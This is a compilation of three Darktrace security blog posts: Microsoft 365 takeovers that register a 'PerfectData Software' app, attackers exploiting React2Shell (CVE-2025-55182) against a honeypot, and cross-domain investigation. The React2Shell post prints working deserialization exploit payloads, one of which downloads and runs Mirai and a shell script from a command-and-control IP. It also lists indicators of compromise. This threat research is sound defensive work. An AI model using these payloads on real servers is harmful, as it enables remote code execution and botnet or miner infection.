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June 5, 2023

PerfectData Software Abuse and Account Takeover Risks

Darktrace investigates several attacks through PerfectData Software on Microsoft 365 accounts and shows how we were able to prevent full account takeovers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dariush Onsori
Cyber Security Analyst
Written by
Sam Lister
Specialist Security Researcher
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05
Jun 2023

Introduction: PerfectData Software

Amidst the ever-changing threat landscape, new tactics, techniques, and procedures (TTPs) seem to emerge daily, creating extreme challenges for security teams. The broad range of attack methods utilized by attackers seems to present an insurmountable problem: how do you defend against a playbook that does not yet exist?

Faced with the growing number of novel and uncommon attack methods, it is essential for organizations to adopt a security solution able to detect threats based on their anomalies, rather than relying on threat intelligence alone.   

In March 2023, Darktrace observed an emerging trend in the use of an application known as ‘PerfectData Software’ for probable malicious purposes in several Microsoft 365 account takeovers.

Using its anomaly-based detection, Darktrace was able to identify the activity chain surrounding the use of this application, potentially uncovering a novel piece of threat actor tradecraft in the process.

Microsoft 365 Intrusions

In recent years, Microsoft’s Software-as-a-Service (SaaS) suite, Microsoft 365, along with its built-in identity and access management (IAM) service, Azure Active Directory (Azure AD), have been heavily targeted by threat actors due to their near-ubiquitous usage across industries. Four out of every five Fortune 500 companies, for example, use Microsoft 365 services [1].  

Malicious actors typically gain entry to organizations’ Microsoft 365 environments by abusing either stolen account credentials or stolen session cookies [2]. Once inside, actors can access sensitive data within mailboxes or SharePoint repositories, and send out emails or Teams messages. This activity can often result in serious financial harm, especially in cases where the malicious actor’s end-goal is to elicit fraudulent transactions.  

Darktrace regularly observes malicious actors behaving in predictable ways once they gain access to customer Microsoft 365 environment. One typical example is the creation of new inbox rules and sending deceitful emails intended to convince recipients to carry out subsequent actions, such as following a malicious link or providing sensitive information. It is also common for actors to register new applications in Azure AD so that they can be used to conduct follow-up activities, like mass-mailing or data theft. The registration of applications in Azure AD therefore seems to be a relatively predictable threat actor behavior [3][4]. Darktrace DETECT understands that unusual application registrations in Azure AD may constitute a deviation in expected behavior, and therefore a possible indicator of account compromise.

These registrations of applications in Azure AD are evidenced by creations of, as well as assignments of permissions to, Service Principals in Azure AD. Darktrace has detected a growing trend in actors creating and assigning permissions to a Service Principal named ‘PerfectData Software’. Further investigation of this Azure AD activity revealed it to be part of an ongoing account takeover. 

‘PerfectData Software’ Activity 

Darktrace observed variations of the following pattern of activity relating to an application named ‘PerfectData Software’ within its customer base:

  1. Actor signs in to a Microsoft 365 account from an endpoint associated with a Virtual Private Server (VPS) or Virtual Private Network (VPN) service
  2. Actor registers an application called 'PerfectData Software' with Azure AD, and then grants permissions to the application
  3. Actor accesses mailbox data and creates inbox rule 

In two separate incidents, malicious actors were observed conducting their activities from endpoints associated with VPN services (HideMyAss (HMA) VPN and Surfshark VPN, respectively) and from endpoints within the Autonomous System AS396073 MAJESTIC-HOSTING-01. 

In March 2023, Darktrace observed a malicious actor signing in to a Microsoft 365 account from a Kuwait-based IP address within the Autonomous System, AS198605 AVAST Software s.r.o. This IP address is associated with the VPN service, HMA VPN. Over the next couple of days, an actor (likely the same malicious actor) signed in to the account several more times from two different Nigeria-based endpoints, as well as a VPS-related endpoint and a HMA VPN endpoint. 

During their login sessions, the actor performed a variety of actions. First, they created and assigned permissions to a Service Principal named ‘PerfectData Software’. This Service Principal creation represents the registration of an application called ‘PerfectData Software’ in Azure AD.  Although the reason for registering this application is unclear, within a few days the actor registered and granted permission to another application, ‘Newsletter Software Supermailer’, and created a new inbox rule names ‘s’ on the mailbox of the hijacked account. This inbox rule moved emails meeting certain conditions to a folder named ‘RSS Subscription. The ‘Newsletter Software Supermailer’ application was likely registered by the actor to facilitate mass-mailing activity.

Immediately after these actions, Darktrace detected the actor sending out thousands of malicious emails from the account. The emails included an attachment named ‘Credit Transfer Copy.html’, which contained a suspicious link. Further investigation revealed that the customer’s network had received several fake invoice emails prior to this initial intrusion activity. Additionally, there was an unusually high volume of failed logins to the compromised account around the time of the initial access. 

Figure 1: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.
Figure 1: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.

In a separate case also observed by Darktrace in March 2023, a malicious actor was observed signing in to a Microsoft 365 account from an endpoint within the Autonomous System, AS397086 LAYER-HOST-HOUSTON. The endpoint appears to be related to the VPN service, Surfshark VPN. This login was followed by several failed and successful logins from a VPS-related within the Autonomous System, AS396073 MAJESTIC-HOSTING-01. The actor was then seen registering and assigning permissions to an application called ‘PerfectData Software’. As with the previous example, the motives for this registration are unclear. The actor proceeded to log in several more times from a Surfshark VPN endpoint, however, they were not observed carrying out any further suspicious activity. 

Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.
Figure 2: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.

It was not clear in either of these examples, nor in fact any of cases observed by Darktrace, why actors had registered and assigned permissions to an application called ‘PerfectData Software’, and there do not appear to be any open-source intelligence (OSINT) resources or online literature related to the malicious usage of an application by that name. That said, there are several websites which appear to provide email migration and data recovery/backup tools under the moniker ‘PerfectData Software’. 

It is unclear whether the use of ‘PerfectData Software’ by malicious actors observed on the networks of Darktrace customers was one of these tools. However, given the nature of the tools, it is possible that the actors intended to use them to facilitate the exfiltration of email data from compromises mailboxes.

If the legitimate software ‘PerfectData’ is the application in question in these incidents, it is likely being purchased and misused by attackers for malicious purposes. It is also possible the application referenced in the incidents is a spoof of the legitimate ‘PerfectData’ software designed to masquerade a malicious application as legitimate.

Darktrace Coverage

Cases of ‘PerfectData Software’ activity chains detected by Darktrace typically began with an actor signing into an internal user’s Microsoft 365 account from a VPN or VPS-related endpoint. These login events, along with the suspicious email and/or brute-force activity which preceded them, caused the following detection models to breach:

  • SaaS / Access / Unusual External Source for SaaS Credential Use
  • SaaS / Access / Suspicious Login Attempt
  • SaaS / Compromise / Login From Rare Following Suspicious Login Attempt(s)
  • SaaS / Email Nexus / Unusual Location for SaaS and Email Activity

Subsequent activities, including inbox rule creations, registration of applications in Azure AD, and mass-mailing activity, resulted in breaches of the following detection models.

  • SaaS / Admin / OAuth Permission Grant 
  • SaaS / Compromise / Unusual Logic Following OAuth Grant 
  • SaaS / Admin / New Application Service Principal
  • IaaS / Admin / Azure Application Administration Activities
  • SaaS / Compliance / New Email Rule
  • SaaS / Compromise / Unusual Login and New Email Rule
  • SaaS / Email Nexus / Suspicious Internal Exchange Activity
  • SaaS / Email Nexus / Possible Outbound Email Spam
  • SaaS / Compromise / Unusual Login and Outbound Email Spam
  • SaaS / Compromise / Suspicious Login and Suspicious Outbound Email(s)
DETECT Model Breaches highlighting unusual login and 'PerfectData Software' registration activity from a malicious actor
Figure 3: Detection Model Breaches highlighting unusual login and 'PerfectData Software' registration activity from a malicious actor.

In cases where Darktrace's Autonomous Response was enabled in autonomous response mode, ‘PerfectData Software’ activity chains resulted in breaches of the following Darktrace Autonomous Response models:

• Antigena / SaaS / Antigena Suspicious SaaS Activity Block

• Antigena / SaaS / Antigena Significant Compliance Activity Block

In response to these model breaches, Darktrace's Autonomous Response took immediate action, performing aggressive, inhibitive actions, such as forcing the actor to log out of the SaaS platform, and disabling the user entirely. When applied autonomously, these Autonomous Response actions would seriously impede an attacker’s progress and minimize network disruption.

Figure 4: An Autonomous Response model breach created in response to a malicious actor's registration of 'PerfectData Software'

In addition, Darktrace Cyber AI Analyst was able to autonomously investigate registrations of the ‘PerfectData Software’ application and summarized its findings into digestible reports. 

A Cyber AI Analyst Incident Event log
Figure 5: A Cyber AI Analyst Incident Event log showing AI Analyst autonomously pivoting off a breach of 'SaaS / Admin / OAuth Permission Grant' to uncover details of an account hijacking.

Growing threat of account hijackings in the remote workplace 

Due to the widespread adoption of Microsoft 365 services in the workplace and continued emphasis on a remote workforce, account hijackings now pose a more serious threat to organizations around the world than ever before. The cases discussed here illustrate the tendency of malicious actors to conduct their activities from endpoints associated with VPN services, while also registering new applications, like PerfectData Software, with malicious intent. 

While it was unclear exactly why the malicious actors were using ‘PerfectData Software’ as part of their account hijacking, it is clear that either the legitimate or spoofed version of the application is becoming an very likely emergent piece of threat actor tradecraft.

Darktrace's anomaly-based detection allowed it to recognize that the use of ‘PerfectData Software’ represented a deviation in the SaaS user’s expected behavior while Darktrace's Autonomous Response, when enabled in autonomous response mode, was able to quickly take preventative action against threat actors, blocking the potential use of the application for data exfiltration or other nefarious purposes.

[related-resource]

Appendices

MITRE ATT&CK Mapping

Reconnaissance:

T1598 ­– Phishing for Information

Credential Access:

T1110 – Brute Force

Initial Access:

T1078.004 – Valid Accounts: Cloud Accounts

Command and Control:

T1105 ­– Ingress Tool Transfer

Persistence:

T1098.003 – Account Manipulation: Additional Cloud Roles 

Collection:

• T1114 – Email Collection 

Defense Evasion:

• T1564.008 ­– Hide Artifacts: Email Hiding Rules­

Lateral Movement:

T1534 – Internal Spearphishing

Unusual Source IPs

• 5.62.60[.]202  (AS198605 AVAST Software s.r.o.) 

• 160.152.10[.]215 (AS37637 Smile-Nigeria-AS)

• 197.244.250[.]155 (AS37705 TOPNET)

• 169.159.92[.]36  (AS37122 SMILE)

• 45.62.170[.]237 (AS396073 MAJESTIC-HOSTING-01)

• 92.38.180[.]49 (AS202422 G-Core Labs S.A)

• 129.56.36[.]26 (AS327952 AS-NATCOM)

• 92.38.180[.]47 (AS202422 G-Core Labs S.A.)

• 107.179.20[.]214 (AS397086 LAYER-HOST-HOUSTON)

• 45.62.170[.]31 (AS396073 MAJESTIC-HOSTING-01)

References

[1] https://www.investing.com/academy/statistics/microsoft-facts/

[2] https://intel471.com/blog/countering-the-problem-of-credential-theft

[3] https://darktrace.com/blog/business-email-compromise-to-mass-phishing-campaign-attack-analysis

[4] https://darktrace.com/blog/breakdown-of-a-multi-account-compromise-within-office-365

Darktrace's Threat Research Report

This report explores the latest trends shaping the cybersecurity landscape and what defenders need to know in 2025

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dariush Onsori
Cyber Security Analyst
Written by
Sam Lister
Specialist Security Researcher

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December 11, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, he spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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Nathaniel Bill
Malware Research Engineer

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December 8, 2025

Simplifying Cross Domain Investigations

simplifying cross domain thraetsDefault blog imageDefault blog image

Cross-domain gaps mean cross-domain attacks  

Organizations are built on increasingly complex digital estates. Nowadays, the average IT ecosystem spans across a large web of interconnected domains like identity, network, cloud, and email.  

While these domain-specific technologies may boost business efficiency and scalability, they also provide blind spots where attackers can shelter undetected. Threat actors can slip past defenses because security teams often use different detection tools in each realm of their digital infrastructure. Adversaries will purposefully execute different stages of an attack across different domains, ensuring no single tool picks up too many traces of their malicious activity. Identifying and investigating this type of threat, known as a cross-domain attack, requires mastery in event correlation.  

For example, one isolated network scan detected on your network may seem harmless at first glance. Only when it is stitched together with a rare O365 login, a new email rule and anomalous remote connections to an S3 bucket in AWS does it begin to manifest as an actual intrusion.  

However, there are a whole host of other challenges that arise with detecting this type of attack. Accessing those alerts in the respective on-premise network, SaaS and IaaS environments, understanding them and identifying which ones are related to each other takes significant experience, skill and time. And time favours no one but the threat actor.  

Anatomy of a cross domain attack
Figure 1: Anatomy of a cross domain attack

Diverse domains and empty grocery shelves

In April 2025, the UK faced a throwback to pandemic-era shortages when the supermarket giant Marks & Spencer (M&S) was crippled by a cyberattack, leaving empty shelves across its stores and massive disruptions to its online service.  

The threat actors, a group called Scattered Spider, exploited multiple layers of the organization’s digital infrastructure. Notably, the group were able to bypass the perimeter not by exploiting a technical vulnerability, but an identity. They used social engineering tactics to impersonate an M&S employee and successfully request a password reset.  

Once authenticated on the network, they accessed the Windows domain controller and exfiltrated the NTDS.dit file – a critical file containing hashed passwords for all users in the domain. After cracking those hashes offline, they returned to the network with escalated privileges and set their sights on the M&S cloud infrastructure. They then launched the encryption payload on the company’s ESXi virtual machines.

To wrap up, the threat actors used a compromised employee’s email account to send an “abuse-filled” email to the M&S CEO, bragging about the hack and demanding payment. This was possibly more of a psychological attack on the CEO than a technically integral part of the cyber kill chain. However, it revealed yet another one of M&S’s domains had been compromised.  

In summary, the group’s attack spanned four different domains:

Identity: Social engineering user impersonation

Network: Exfiltration of NTDS.dit file

Cloud: Ransomware deployed on ESXI VMs

Email: Compromise of user account to contact the CEO

Adept at exploiting nuance

This year alone, several high-profile cyber-attacks have been attributed to the same group, Scattered Spider, including the hacks on Victoria’s Secret, Adidas, Hawaiian Airlines, WestJet, the Co-op and Harrods. It begs the question, what has made this group so successful?

In the M&S attack, they showcased their advanced proficiency in social engineering, which they use to bypass identity controls and gain initial access. They demonstrated deep knowledge of cloud environments by deploying ransomware onto virtualised infrastructure. However, this does not exemplify a cookie-cutter template of attack methods that brings them success every time.

According to CISA, Scattered Spider typically use a remarkable variety of TTPs (tactics, techniques and procedures) across multiple domains to carry out their campaigns. From leveraging legitimate remote access tools in the network, to manipulating AWS EC2 cloud instances or spoofing email domains, the list of TTPs used by the group is eye-wateringly long. Additionally, the group reportedly evades detection by “frequently modifying their TTPs”.  

If only they had better intentions. Any security director would be proud of a red team who not only has this depth and breadth of domain-centric knowledge but is also consistently upskilling.  

Yet, staying ahead of adversaries who seamlessly move across domains and fluently exploit every system they encounter is just one of many hurdles security teams face when investigating cross-domain attacks.  

Resource-heavy investigations

There was a significant delay in time to detection of the M&S intrusion. News outlet BleepingComputer reported that attackers infiltrated the M&S network as early as February 2025. They maintained persistence for weeks before launching the attack in late April 2025, indicating that early signs of compromise were missed or not correlated across domains.

While it’s unclear exactly why M&S missed the initial intrusion, one can speculate about the unique challenges investigating cross-domain attacks present.  

Challenges of cross-domain investigation

First and foremost, correlation work is arduous because the string of malicious behaviour doesn’t always stem from the same device.  

A hypothetical attack could begin with an O365 credential creating a new email rule. Weeks later, that same credential authenticates anomalously on two different devices. One device downloads an .exe file from a strange website, while the other starts beaconing every minute to a rare external IP address that no one else in the organisation has ever connected to. A month later, a third device downloads 1.3 GiB of data from a recently spun up S3 bucket and gradually transfers a similar amount of data to that same rare IP.

Amid a sea of alerts and false positives, connecting the dots of a malicious attack like this takes time and meticulous correlation. Factor in the nuanced telemetry data related to each domain and things get even more complex.  

An analyst who specialises in network security may not understand the unique logging formats or API calls in the cloud environment. Perhaps they are proficient in protecting the Windows Active Directory but are unfamiliar with cloud IAM.  

Cloud is also an inherently more difficult domain to investigate. With 89% of organizations now operating in multi-cloud environments time must be spent collecting logs, snapshots and access records. Coupled with the threat of an ephemeral asset disappearing, the risk of missing a threat is high. These are some of the reasons why research shows that 65% of organisations spend 3-5 extra days investigating cloud incidents.  

Helpdesk teams handling user requests over the phone require a different set of skills altogether. Imagine a threat actor posing as an employee and articulately requesting an urgent password reset or a temporary MFA deactivation. The junior Helpdesk agent— unfamiliar with the exception criteria, eager to help and feeling pressure from the persuasive manipulator at the end of the phoneline—could easily fall victim to this type of social engineering.  

Empowering analysts through intelligent automation

Even the most skilled analysts can’t manually piece together every strand of malicious activity stretching across domains. But skill alone isn’t enough. The biggest hurdle in investigating these attacks often comes down to whether the team have the time, context, and connected visibility needed to see the full picture.

Many organizations attempt to bridge the gap by stitching together a patchwork of security tools. One platform for email, another for endpoint, another for cloud, and so on. But this fragmentation reinforces the very silos that cross-domain attacks exploit. Logs must be exported, normalized, and parsed across tools a process that is not only error-prone but slow. By the time indicators are correlated, the intrusion has often already deepened.

That’s why automation and AI are becoming indispensable. The future of cross-domain investigation lies in systems that can:

  • Automatically correlate activity across domains and data sources, turning disjointed alerts into a single, interpretable incident.
  • Generate and test hypotheses autonomously, identifying likely chains of malicious behaviour without waiting for human triage.
  • Explain findings in human terms, reducing the knowledge gap between junior and senior analysts.
  • Operate within and across hybrid environments, from on-premise networks to SaaS, IaaS, and identity systems.

This is where Darktrace transforms alerting and investigations. Darktrace’s Cyber AI Analyst automates the process of correlation, hypothesis testing, and narrative building, not just within one domain, but across many. An anomalous O365 login, a new S3 bucket, and a suspicious beaconing host are stitched together automatically, surfacing the story behind the alerts rather than leaving it buried in telemetry.

How threat activity is correlated in Cyber AI Analyst
Figure 2: How threat activity is correlated in Cyber AI Analyst

By analyzing events from disparate tools and sources, AI Analyst constructs a unified timeline of activity showing what happened, how it spread, and where to focus next. For analysts, it means investigation time is measured in minutes, not days. For security leaders, it means every member of the SOC, regardless of experience, can contribute meaningfully to a cross-domain response.

Figure 3: Correlation showcasing cross domains (SaaS and IaaS) in Cyber AI Analyst

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

What once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

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About the author
Benjamin Druttman
Cyber Security AI Technical Instructor
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